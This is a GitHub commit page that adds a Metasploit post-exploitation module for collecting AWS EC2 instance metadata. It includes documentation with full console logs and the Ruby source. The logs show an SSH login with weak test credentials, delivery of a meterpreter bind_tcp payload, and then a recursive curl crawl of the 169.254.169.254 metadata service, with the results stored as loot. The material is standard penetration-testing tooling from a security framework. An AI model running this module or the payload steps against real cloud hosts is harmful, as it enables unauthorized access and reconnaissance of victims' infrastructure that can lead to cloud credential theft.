Skip to content

Commit 5a05bd6

Browse files
committed
Land rapid7#7385, Add post module to enumerate AWS EC2 instance metadata
2 parents 73c11a6 + cf20cca commit 5a05bd6

File tree

2 files changed

+299
-0
lines changed

2 files changed

+299
-0
lines changed
Lines changed: 198 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,198 @@
1+
## Vulnerable Application
2+
3+
This module uses an existing session on an AWS EC2 instance to gather
4+
the metadata about the instance. As such, any EC2 instance with `curl`
5+
is an applicable target.
6+
7+
## Verification Steps
8+
9+
1. Get session
10+
2. Do `use post/multi/gather/aws_ec2_instance_metadata`
11+
3. Do `set SESSION <session id>`
12+
4. Do `run`
13+
5. See loot.
14+
15+
## Options
16+
17+
Set `VERBOSE` to `true` if you would like the AWS EC2 instance metadata to be shown
18+
in addition to being stored.
19+
20+
## Scenarios
21+
22+
Default, non-verbose mode:
23+
24+
```
25+
resource (msf.rc)> use exploit/multi/ssh/sshexec
26+
resource (msf.rc)> set PASSWORD test
27+
PASSWORD => test
28+
resource (msf.rc)> set USERNAME test
29+
USERNAME => test
30+
resource (msf.rc)> set PAYLOAD linux/x86/meterpreter/bind_tcp
31+
PAYLOAD => linux/x86/meterpreter/bind_tcp
32+
resource (msf.rc)> set RHOST 192.168.2.2
33+
RHOST => 192.168.2.2
34+
resource (msf.rc)> run -j
35+
[*] Exploit running as background job.
36+
resource (msf.rc)> sleep 10
37+
[*] Started bind handler
38+
[*] Transmitting intermediate stager for over-sized stage...(105 bytes)
39+
[*] 192.168.2.2:22 - Sending stager...
40+
[*] Command Stager progress - 42.09% done (306/727 bytes)
41+
[*] Sending stage (1495599 bytes) to 192.168.2.2
42+
[*] Command Stager progress - 100.00% done (727/727 bytes)
43+
[*] Meterpreter session 1 opened (192.168.1.149:52075 -> 192.168.2.2:4444) at 2016-09-30 06:40:44 -0700
44+
45+
resource (msf.rc)> use post/multi/gather/aws_ec2_instance_metadata
46+
resource (msf.rc)> set SESSION 1
47+
SESSION => 1
48+
resource (msf.rc)> run
49+
[*] Gathering AWS EC2 instance metadata
50+
[+] Saved AWS EC2 instance metadata to to /Users/jhart/.msf4/loot/20160930064126_default_192.168.2.2_aws.ec2.instance_509214.txt
51+
[*] Post module execution completed
52+
```
53+
54+
Non-default, verbose mode:
55+
56+
```
57+
resource (msf.rc)> use exploit/multi/ssh/sshexec
58+
resource (msf.rc)> set PASSWORD test
59+
PASSWORD => test
60+
resource (msf.rc)> set USERNAME test
61+
USERNAME => test
62+
resource (msf.rc)> set PAYLOAD linux/x86/meterpreter/bind_tcp
63+
PAYLOAD => linux/x86/meterpreter/bind_tcp
64+
resource (msf.rc)> set RHOST 192.168.2.2
65+
RHOST => 192.168.2.2
66+
resource (msf.rc)> run -j
67+
[*] Exploit running as background job.
68+
resource (msf.rc)> sleep 10
69+
[*] Started bind handler
70+
[*] Transmitting intermediate stager for over-sized stage...(105 bytes)
71+
[*] 192.168.2.2:22 - Sending stager...
72+
[*] Command Stager progress - 42.09% done (306/727 bytes)
73+
[*] Sending stage (1495599 bytes) to 192.168.2.2
74+
[*] Command Stager progress - 100.00% done (727/727 bytes)
75+
[*] Meterpreter session 1 opened (192.168.1.149:52775 -> 192.168.2.2:4444) at 2016-09-30 06:55:54 -0700
76+
resource (msf.rc)> use post/multi/gather/aws_ec2_instance_metadata
77+
resource (msf.rc)> set SESSION 1
78+
SESSION => 1
79+
resource (msf.rc)> set VERBOSE true
80+
VERBOSE => true
81+
resource (msf.rc)> run
82+
[*] Fetching http://169.254.169.254/latest/meta-data/
83+
[*] Gathering AWS EC2 instance metadata
84+
[*] Fetching http://169.254.169.254/latest/meta-data/ami-id
85+
[*] Fetching http://169.254.169.254/latest/meta-data/ami-launch-index
86+
[*] Fetching http://169.254.169.254/latest/meta-data/ami-manifest-path
87+
[*] Fetching http://169.254.169.254/latest/meta-data/block-device-mapping/
88+
[*] Fetching http://169.254.169.254/latest/meta-data/block-device-mapping/ami
89+
[*] Fetching http://169.254.169.254/latest/meta-data/block-device-mapping/root
90+
[*] Fetching http://169.254.169.254/latest/meta-data/hostname
91+
[*] Fetching http://169.254.169.254/latest/meta-data/instance-action
92+
[*] Fetching http://169.254.169.254/latest/meta-data/instance-id
93+
[*] Fetching http://169.254.169.254/latest/meta-data/instance-type
94+
[*] Fetching http://169.254.169.254/latest/meta-data/local-hostname
95+
[*] Fetching http://169.254.169.254/latest/meta-data/local-ipv4
96+
[*] Fetching http://169.254.169.254/latest/meta-data/mac
97+
[*] Fetching http://169.254.169.254/latest/meta-data/metrics/
98+
[*] Fetching http://169.254.169.254/latest/meta-data/metrics/vhostmd
99+
[*] Fetching http://169.254.169.254/latest/meta-data/network/
100+
[*] Fetching http://169.254.169.254/latest/meta-data/network/interfaces/
101+
[*] Fetching http://169.254.169.254/latest/meta-data/network/interfaces/macs/
102+
[*] Fetching http://169.254.169.254/latest/meta-data/network/interfaces/macs/aa:bb:cc:dd:ee:ff/
103+
[*] Fetching http://169.254.169.254/latest/meta-data/network/interfaces/macs/aa:bb:cc:dd:ee:ff/device-number
104+
[*] Fetching http://169.254.169.254/latest/meta-data/network/interfaces/macs/aa:bb:cc:dd:ee:ff/interface-id
105+
[*] Fetching http://169.254.169.254/latest/meta-data/network/interfaces/macs/aa:bb:cc:dd:ee:ff/ipv4-associations/
106+
[*] Fetching http://169.254.169.254/latest/meta-data/network/interfaces/macs/aa:bb:cc:dd:ee:ff/ipv4-associations/192.168.2.2
107+
[*] Fetching http://169.254.169.254/latest/meta-data/network/interfaces/macs/aa:bb:cc:dd:ee:ff/local-hostname
108+
[*] Fetching http://169.254.169.254/latest/meta-data/network/interfaces/macs/aa:bb:cc:dd:ee:ff/local-ipv4s
109+
[*] Fetching http://169.254.169.254/latest/meta-data/network/interfaces/macs/aa:bb:cc:dd:ee:ff/mac
110+
[*] Fetching http://169.254.169.254/latest/meta-data/network/interfaces/macs/aa:bb:cc:dd:ee:ff/owner-id
111+
[*] Fetching http://169.254.169.254/latest/meta-data/network/interfaces/macs/aa:bb:cc:dd:ee:ff/public-hostname
112+
[*] Fetching http://169.254.169.254/latest/meta-data/network/interfaces/macs/aa:bb:cc:dd:ee:ff/public-ipv4s
113+
[*] Fetching http://169.254.169.254/latest/meta-data/network/interfaces/macs/aa:bb:cc:dd:ee:ff/security-group-ids
114+
[*] Fetching http://169.254.169.254/latest/meta-data/network/interfaces/macs/aa:bb:cc:dd:ee:ff/security-groups
115+
[*] Fetching http://169.254.169.254/latest/meta-data/network/interfaces/macs/aa:bb:cc:dd:ee:ff/subnet-id
116+
[*] Fetching http://169.254.169.254/latest/meta-data/network/interfaces/macs/aa:bb:cc:dd:ee:ff/subnet-ipv4-cidr-block
117+
[*] Fetching http://169.254.169.254/latest/meta-data/network/interfaces/macs/aa:bb:cc:dd:ee:ff/vpc-id
118+
[*] Fetching http://169.254.169.254/latest/meta-data/network/interfaces/macs/aa:bb:cc:dd:ee:ff/vpc-ipv4-cidr-block
119+
[*] Fetching http://169.254.169.254/latest/meta-data/network/interfaces/macs/aa:bb:cc:dd:ee:ff/vpc-ipv4-cidr-blocks
120+
[*] Fetching http://169.254.169.254/latest/meta-data/placement/
121+
[*] Fetching http://169.254.169.254/latest/meta-data/placement/availability-zone
122+
[*] Fetching http://169.254.169.254/latest/meta-data/profile
123+
[*] Fetching http://169.254.169.254/latest/meta-data/public-hostname
124+
[*] Fetching http://169.254.169.254/latest/meta-data/public-ipv4
125+
[*] Fetching http://169.254.169.254/latest/meta-data/public-keys/
126+
[*] Fetching http://169.254.169.254/latest/meta-data/public-keys/0/
127+
[*] Fetching http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
128+
[*] Fetching http://169.254.169.254/latest/meta-data/reservation-id
129+
[*] Fetching http://169.254.169.254/latest/meta-data/security-groups
130+
[*] Fetching http://169.254.169.254/latest/meta-data/services/
131+
[*] Fetching http://169.254.169.254/latest/meta-data/services/domain
132+
[*] Fetching http://169.254.169.254/latest/meta-data/services/partition
133+
[+] AWS EC2 instance metadata
134+
{
135+
"ami-id": "ami-2d39803a",
136+
"ami-launch-index": "0",
137+
"ami-manifest-path": "(unknown)",
138+
"block-device-mapping": {
139+
"ami": "/dev/sda1",
140+
"root": "/dev/sda1"
141+
},
142+
"hostname": "ip-192.168.2.2.ec2.internal",
143+
"instance-action": "none",
144+
"instance-id": "i-16fffae",
145+
"instance-type": "t2.medium",
146+
"local-hostname": "ip-192.168.2.2.ec2.internal",
147+
"local-ipv4": "192.168.2.2",
148+
"mac": "aa:bb:cc:dd:ee:ff",
149+
"metrics": {
150+
"vhostmd": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>"
151+
},
152+
"network": {
153+
"interfaces": {
154+
"macs": {
155+
"aa:bb:cc:dd:ee:ff": {
156+
"device-number": "0",
157+
"interface-id": "eni-1234ff",
158+
"ipv4-associations": {
159+
"192.168.2.2": "192.168.2.2"
160+
},
161+
"local-hostname": "ip-192.168.2.2.ec2.internal",
162+
"local-ipv4s": "192.168.2.2",
163+
"mac": "aa:bb:cc:dd:ee:ff",
164+
"owner-id": "186638383",
165+
"public-hostname": "ec2-192.168.2.2.compute-1.amazonaws.com",
166+
"public-ipv4s": "192.168.2.2",
167+
"security-group-ids": "sg-123a7",
168+
"security-groups": "launch-wizard-15",
169+
"subnet-id": "subnet-123453d",
170+
"subnet-ipv4-cidr-block": "192.0.2.0/24",
171+
"vpc-id": "vpc-fffffff",
172+
"vpc-ipv4-cidr-block": "192.0.0.0/16",
173+
"vpc-ipv4-cidr-blocks": "192.0.0.0/16"
174+
}
175+
}
176+
}
177+
},
178+
"placement": {
179+
"availability-zone": "us-east-1e"
180+
},
181+
"profile": "default-hvm",
182+
"public-hostname": "ec2-192.168.2.2.compute-1.amazonaws.com",
183+
"public-ipv4": "192.168.2.2",
184+
"public-keys": {
185+
"0": {
186+
"openssh-key": "ssh-rsa <...redacted...> jhart"
187+
}
188+
},
189+
"reservation-id": "r-8675309",
190+
"security-groups": "launch-wizard-15",
191+
"services": {
192+
"domain": "amazonaws.com",
193+
"partition": "aws"
194+
}
195+
}
196+
[+] Saved AWS EC2 instance metadata to to /Users/jhart/.msf4/loot/20160930065628_default_192.168.2.2_aws.ec2.instance_622503.txt
197+
[*] Post module execution completed
198+
```
Lines changed: 101 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,101 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class MetasploitModule < Msf::Post
9+
def initialize(info = {})
10+
super(
11+
update_info(
12+
info,
13+
'Name' => 'Gather AWS EC2 Instance Metadata',
14+
'Description' => %q(
15+
This module will attempt to connect to the AWS EC2 instance metadata service
16+
and crawl and collect all metadata known about the session'd host.
17+
),
18+
'License' => MSF_LICENSE,
19+
'Author' => [
20+
'Jon Hart <jon_hart[at]rapid7.com>' # original metasploit module
21+
],
22+
# TODO: is there a way to do this on Windows?
23+
'Platform' => %w(unix),
24+
'SessionTypes' => %w(shell meterpreter),
25+
'References' =>
26+
[
27+
[ 'URL', 'http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html' ]
28+
]
29+
)
30+
)
31+
32+
register_advanced_options(
33+
[
34+
OptString.new('TARGETURI', [true, 'AWS EC2 Instance metadata URI', 'http://169.254.169.254/latest/meta-data/'])
35+
]
36+
)
37+
end
38+
39+
def check_aws_metadata
40+
resp = simple_get(@target_uri)
41+
unless resp =~ /^instance-id.$/m
42+
fail_with(Failure::BadConfig, "Session does not appear to be on an AWS EC2 instance")
43+
end
44+
resp
45+
end
46+
47+
def check_curl
48+
unless cmd_exec("curl --version") =~ /^curl \d/
49+
fail_with(Failure::BadConfig, 'curl is not installed')
50+
end
51+
end
52+
53+
def get_aws_metadata(base_uri, base_resp)
54+
r = {}
55+
base_resp.split(/\r\n/).each do |l|
56+
new_uri = base_uri.merge("./#{l}")
57+
if l =~ %r{/$}
58+
# handle a directory
59+
r[l.gsub(%r{/$}, '')] = get_aws_metadata(new_uri, simple_get(new_uri))
60+
elsif new_uri.to_s =~ %r{/public-keys/} && /^(?<key_id>\d+)=/ =~ l
61+
# special case handling of the public-keys endpoint
62+
key_uri = new_uri.merge("./#{key_id}/")
63+
key_resp = simple_get(key_uri)
64+
r[key_id] = get_aws_metadata(key_uri, key_resp)
65+
else
66+
r[l] = simple_get(new_uri)
67+
end
68+
end
69+
r
70+
end
71+
72+
def run
73+
check_curl
74+
resp = check_aws_metadata
75+
76+
print_status("Gathering AWS EC2 instance metadata")
77+
metadata = get_aws_metadata(@target_uri, resp)
78+
79+
metadata_json = JSON.pretty_generate(metadata)
80+
file = store_loot("aws.ec2.instance.metadata", "text/json", session, metadata_json, "aws_ec2_instance_metadata.json", "AWS EC2 Instance Metadata")
81+
82+
if datastore['VERBOSE']
83+
vprint_good("AWS EC2 instance metadata")
84+
print_line(metadata_json)
85+
end
86+
print_good("Saved AWS EC2 instance metadata to to #{file}")
87+
end
88+
89+
def setup
90+
begin
91+
@target_uri ||= URI(datastore['TARGETURI'])
92+
rescue ::URI::InvalidURIError
93+
fail_with(Failure::BadConfig, "Invalid TARGETURI: #{datastore['TARGETURI']}")
94+
end
95+
end
96+
97+
def simple_get(url)
98+
vprint_status("Fetching #{url}")
99+
cmd_exec("curl #{url}")
100+
end
101+
end

0 commit comments

Comments
 (0)